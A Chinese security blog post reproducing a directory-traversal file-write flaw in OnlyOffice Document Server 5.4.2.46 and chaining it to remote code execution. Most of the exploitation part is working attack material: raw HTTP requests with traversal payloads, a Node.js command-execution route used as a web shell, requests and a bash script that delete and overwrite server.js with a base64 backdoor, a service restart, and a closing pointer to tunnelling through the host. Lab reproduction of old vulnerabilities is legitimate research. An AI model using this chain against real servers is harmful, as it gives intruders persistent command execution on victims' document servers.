长亭百川云 - 文章详情

OnlyOffice低版本漏洞复现与分析

干杯Security

226

2024-07-13

前言:OnlyOffice 是一款办公套件软件,提供了文档编辑、电子表格、演示文稿等功能,类似于 Microsoft Office。它支持多人协作编辑,可以在云端或者私有服务器上部署,适合个人用户、团队和企业进行办公任务。只要有合适的许可证,用户可以在不同的平台上访问 OnlyOffice,包括桌面端、Web 界面和移动设备。

OnlyOffice 最初由 Ascensio System SIA 开发,它提供了广泛的功能,可以满足各种办公需求。在云端部署方面,OnlyOffice 还可以与其他协作工具和平台集成,以实现更全面的工作流程。

0x01:OnlyOffice5.4.2.46低版本搭建

这里是基于docke去搭建的:

1. 拉取5.4.2.46版本onlyoffice/documentserver镜像  

docker pull onlyoffice/documentserver:5.4.2.46
2.创建容器  

`docker run -i -t -d -p 9000:80 --name chineseonlyoffice_documentserver --privileged=true onlyoffice/documentserver:5.4.2.46 /usr/sbin/init``   `

因为我这里是基于docker_gui的(方便更好的去更改文件或者读取代码):

项目搭建成功:

ps:搭建过程中名称可能会出现问题,因为docker镜像名称不允许使用/,我们可以使用_去代替。

0x02:漏洞分析&复现:

一般程序员没有刻意设置的话,我们直接访问http://localhost:9000/index.html就可以看到版本号:

这里我们先使用前辈使用的exp进行利用:

https://github.com/moehw/poc_exploits

要利用该漏洞,攻击者必须使用特制的请求来 服务器,它将用受控数据覆盖任意文件。如果其中之一 服务的可执行文件被这次攻击覆盖,那么有 以下效果:- 攻击者对服务器的下一个请求会导致执行来自服务器的新文件 上一步,这将导致远程代码执行 - 缺少正确的可执行服务文件会导致拒绝服务

由于将文件保存到,“uploadImageFile”函数中发生文件覆盖 “strPath”变量中指定的路径,它是以下值的串联 其他几个字符串,其中最后一个(“formatStr”)由攻击者控制 当满足某些条件时:- “isValidJwt”为真 - “docId”和“加密”出现在 JWT 令牌中 - 请求正文中有一个缓冲区,文件将被覆盖到该缓冲区 - 缓冲区必须以文本“ENCRYPTED;”开头,然后是带有相对路径的字符串 服务器媒体目录(“/var/lib/onlyoffice/documentserver/App_Data/cache/files/ /media/<random_hash><control_filename>”默认情况下)覆盖文件 进而 ”;”。

使用该POC验证我们的目标时,文件上传都无法成功。分析发现CVE-2021-3199 是利用的uploadImageFile方法,存在一定的限制。

uploadImageFile方法中,formatStr变量来自于根据文件内容进行识别。如果encrypted为true,那么就会从post body中解析出formatStr,从而实现控制文件名。

而encrypted需要配置了cfgTokenEnableBrowser,"Directory traversal with Remote Code Execution when JWT is used in Document Server before 5.6.3",需要配置了JWT时才能利用,Docker环境默认未启用,目标也未启用。

所以我们需要从代码层面来进行漏洞利用以及构建payload,漏洞分析我们需要把代码弄出来,这里我们直接从dokcer里复制出来:

1、从主机往容器中拷贝  
eg:将主机/www/runoob目录拷贝到容器96f7f14e99ab的/www目录下。  
docker cp /www/runoob 96f7f14e99ab:/www/  
2、将容器中文件拷往主机  
eg:将容器96f7f14e99ab的/www目录拷贝到主机的/tmp目录中。  
docker cp  96f7f14e99ab:/www /tmp/  
  
eg:将主机/www/runoob目录拷贝到容器96f7f14e99ab中,目录重命名为www。  
docker cp /www/runoob 96f7f14e99ab:/www  
  

等依赖加载完毕,我们就可以看到相关代码:

这里我们可以看到通过访问代码相关暴露的接口来访问相关的API

DocService/sources/server.js 存在一个savefile路由,看到这名字就能猜到是文件上传相关的路由:

mac按command,win按ctrl我们点击黄色的savefile定位到代码逻辑里:

首先对cmd参数进行了一次JSON解析,由于默认未开启cfgTokenEnableBrowser,所以可以直接跳过中间一部分。

最后调用了storage.putObject方法写文件,

文件地址cmd.getSaveKey() + '/' + cmd.getOutputPath()

文件内容来源于req.body , 也就是POST body。

cmd变量来自于对cmd参数值的JSON解析,在yield* addRandomKeyTaskCmd(cmd)方法中,

调用了savekey setter,随机生成taskkey再重新设置savekey属性值,导致不再可控。虽然savekey无法控制,但是outputpath没有被重新设置,还是来源于参数值,所以这里通过outputpath可以实现目录穿越到任意地址写文件。

让我们使用bp抓包去测试:

poc:

`POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../tmp/111.txt"} HTTP/1.1``Host: 10.37.129.2:9000``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 4``{``}``   `
成功写入,并且是**覆盖**形式的写入:  

Tips: 这里我自己遇到两个坑点:

1)bp抓包的时候抓不到本地的包,那我们可以更改浏览器的插件取消这些不代理的列表,当然也可以查案自己的电脑网卡,来通过非localhost和非127.0.0.1去抓取。

2)在构造poc的时候,因为查看大佬的文章导致自己直接断行,poc发送不出去,这里要注意,一般我们格式正确的话,bp是会有着重颜色的辅助的:

通过进入docker查看发现是一个ds的用户启动的onlyoffice,跑express的用户为ds, web下的文件所属用户也都为ds,那么可以通过覆盖web的一些文件实现RCE。

首先会想到覆盖js文件,新增路由实现RCE,但是比较麻烦的是node需要重启才会加载上新增的路由,而我们暂时无法做到让目标重启

既然不能重启,那么很容易就能想到通过覆盖模板文件再通过SSTI RCE,覆盖模板文件后不需要重启服务即可利用,不过最后发现onlyoffice根本就没用到模板。

至此,只能找OnlyOffice中是否存在命令执行调用elf的路由,通过任意文件写覆盖elf来实现命令执行。

存在一个docbuilder路由,看名字应该是用来生成文档的,该路由方法的实现代码大概如下:

简单点说就是在ExecuteTask方法中,会通过spawnAsync命令执行方法调用 /var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF来生成文档,docbuilder文件所属用户也是ds,那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF,再通过docbuilder路由触发我们上传的ELF。

我们先把docbuilder文件备份一下,养成良好习惯:

docker cp  96f7f14e99ab:/www /tmp/  
  

然后我们理一下思路:我们需要:

1>新增一个路由

2>重启服务(通过supervisorctl来实现),web通过访问docbuilder接口实现

3>通过访问路由来进行命令回显示

Supervisor 进程管理工具: Supervisor 是一个用于管理和监控进程的工具,特别适用于在 Unix-like 操作系统中管理长时间运行的后台进程。它允许用户启动、停止、重启以及监视进程的状态。

"supervisorctl" 是 Supervisor 进程管理工具的命令行界面,用于与 Supervisor 守护进程进行交互,以管理和监控运行在系统中的各种进程。Supervisor 是一个在 Unix-like 操作系统中常用的工具,它可以帮助你管理和监控后台运行的进程,确保它们持续稳定地运行。

通过 "supervisorctl" 命令,你可以执行以下操作:

  1. 启动进程: 使用 start 命令可以启动一个由 Supervisor 管理的进程。

  2. 停止进程: 使用 stop 命令可以停止一个正在运行的进程。

  3. 重启进程: 使用 restart 命令可以重新启动一个进程,即先停止再启动。

  4. 重新加载配置: 使用 reread 命令可以重新加载 Supervisor 的配置文件,以便应用最新的更改。

  5. 重新启动配置: 使用 update 命令可以重新启动 Supervisor 以应用配置文件的更改。

  6. 查看进程状态: 使用 status 命令可以查看所有被 Supervisor 管理的进程的状态,包括运行状态和进程 ID 等信息。

  7. 查看日志: 使用 tail 命令可以查看进程的日志输出。

  8. 进入进程控制台: 使用 fg 命令可以进入某个进程的控制台界面,从而可以与进程进行交互。

包括这里在docker里也是用supervisor进行管理的服务

接下来我们进行实际的操作:

首先我们需要写一个可以支持命令回显的路由:

`app.all('/runExec.json', (req, res) => {`   `const spawn = require('child_process').spawn;`   `var username = req.query.username ? req.query.username: req.header("username");`   `if(!username){`    `res.send("empty para!");`   `}else {`    `const cmd = spawn('sh', ['-c', username]);`    `var result = "";`    `cmd.stdout.on('data', (data) => {`     `result += data;`    `});``   `    `cmd.on('close', (code) => {`     `res.send(result);`     `return res.end();`    `})`   `}`  `});`
  

首先我们需要先把server.js下载下来,可以通过docker cp命令把代码弄下来,实战情况下我们可以寻找特定版本的代码来进行审计添加,因为savefile目前只可以达到写文件功能:

因为我自己测试无法覆盖,所以我们需要先删除这个server.js(记得备份一下)

第一个包(删文件):

`POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1``Host: 10.37.129.2:9000``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 3``   ``rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js``   `

执行下路由;

第二个包(写路由):

`POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1``Host: 10.37.129.2:9000``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 3``   ``echo "LyoKICogQ29weXJpZ2h0IChDKSBBc2NlbnNpbyBTeXN0ZW0gU0lBIDIwMTItMjAxOS4gQWxsIHJpZ2h0cyByZXNlcnZlZAogKgogKiBodHRwczovL3d3dy5vbmx5b2ZmaWNlLmNvbS8gCiAqCiAqIFZlcnNpb246IDUuNC4yIChidWlsZDo0NikKICovCgondXNlIHN0cmljdCc7Cgpjb25zdCBjbHVzdGVyID0gcmVxdWlyZSgnY2x1c3RlcicpOwpjb25zdCBjb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CQl9KTsKCQl9KTsKCX0pOwoKCXByb2Nlc3Mub24oJ21lc3NhZ2UnLCAobXNnKSA9PiB7CgkJaWYgKCFkb2NzQ29TZXJ2ZXIpIHsKCQkJcmV0dXJuOwoJCX0KCQlzd2l0Y2ggKG1zZy50eXBlKSB7CgkJCWNhc2UgMToKCQkJCWRvY3NDb1NlcnZlci5zZXRMaWNlbnNlSW5mbyhtc2cuZGF0YSk7CgkJCQlicmVhazsKCQkJY2FzZSAyOgoJCQkJdXBkYXRlUGx1Z2lucyA9IHRydWU7CgkJCQlicmVhazsKCQl9Cgl9KTsKfQoKcHJvY2Vzcy5vbigndW5jYXVnaHRFeGNlcHRpb24nLCAoZXJyKSA9PiB7Cglsb2dnZXIuZXJyb3IoKG5ldyBEYXRlKS50b1VUQ1N0cmluZygpICsgJyB1bmNhdWdodEV4Y2VwdGlvbjonLCBlcnIubWVzc2FnZSk7Cglsb2dnZXIuZXJyb3IoZXJyLnN0YWNrKTsKCWxvZ2dlci5zaHV0ZG93bigoKSA9PiB7CgkJcHJvY2Vzcy5leGl0KDEpOwoJfSk7Cn0pOwo=" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js``   `
`   `


执行下路由:

第三个包(重启服务):

`POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1``Host: 10.37.129.2:9000``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 3``   ``/usr/bin/supervisorctl restart ds:docservice`
  

然后触发一下路由:

接下来访问接口:成功回显

当然我们本地通过docker查看文件也会发现已经被改动。

其实上边有一些坑点,实际情况下写js文件有些文件,所以我们还是整合一个包:

`POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1``Host: 10.37.129.2:9000``Cache-Control: max-age=0``Upgrade-Insecure-Requests: 1``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7``Accept-Encoding: gzip, deflate``Accept-Language: zh-CN,zh;q=0.9``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 3`
  

`#!/bin/bash``# 备份路由,删路由,写路由,重启路由``cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;echo "LyoKICogQ29weXJpZ2h0IChDKSBBc2NlbnNpbyBTeXN0ZW0gU0lBIDIwMTItMjAxOS4gQWxsIHJpZ2h0cyByZXNlcnZlZAogKgogKiBodHRwczovL3d3dy5vbmx5b2ZmaWNlLmNvbS8gCiAqCiAqIFZlcnNpb246IDUuNC4yIChidWlsZDo0NikKICovCgondXNlIHN0cmljdCc7Cgpjb25zdCBjbHVzdGVyID0gcmVxdWlyZSgnY2x1c3RlcicpOwpjb25zdCBjb25maWdDb21tb24gPSByZXF1aXJlKCdjb25maWcnKTsKY29uc3QgY29uZmlnID0gY29uZmlnQ29tbW9uLmdldCgnc2VydmljZXMuQ29BdXRob3JpbmcnKTsKY29uc3QgbG9nZ2VyID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9sb2dnZXInKTsKY29uc3QgY28gPSByZXF1aXJlKCdjbycpOwpjb25zdCBsaWNlbnNl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kJCQlicmVhazsKCQkJY2FzZSAyOgoJCQkJdXBkYXRlUGx1Z2lucyA9IHRydWU7CgkJCQlicmVhazsKCQl9Cgl9KTsKfQoKcHJvY2Vzcy5vbigndW5jYXVnaHRFeGNlcHRpb24nLCAoZXJyKSA9PiB7Cglsb2dnZXIuZXJyb3IoKG5ldyBEYXRlKS50b1VUQ1N0cmluZygpICsgJyB1bmNhdWdodEV4Y2VwdGlvbjonLCBlcnIubWVzc2FnZSk7Cglsb2dnZXIuZXJyb3IoZXJyLnN0YWNrKTsKCWxvZ2dlci5zaHV0ZG93bigoKSA9PiB7CgkJcHJvY2Vzcy5leGl0KDEpOwoJfSk7Cn0pOwo=" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart ds:docservice``   `

至此,页面交互命令回显成功。

Tips:这里讲发包的坑点,我们是可以通过写入一个bash脚本,可以删除,写入路由,重启服务,但是在写入路由时候,一定要使用一下base64格式,echo “base64内容” | base64 -d > server.js


延伸:当然我们这里https://github.com/L-codes/Neo-reGeorg/pull/66,添加该路由后就能直接使用NodeJS版本正向代理~

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2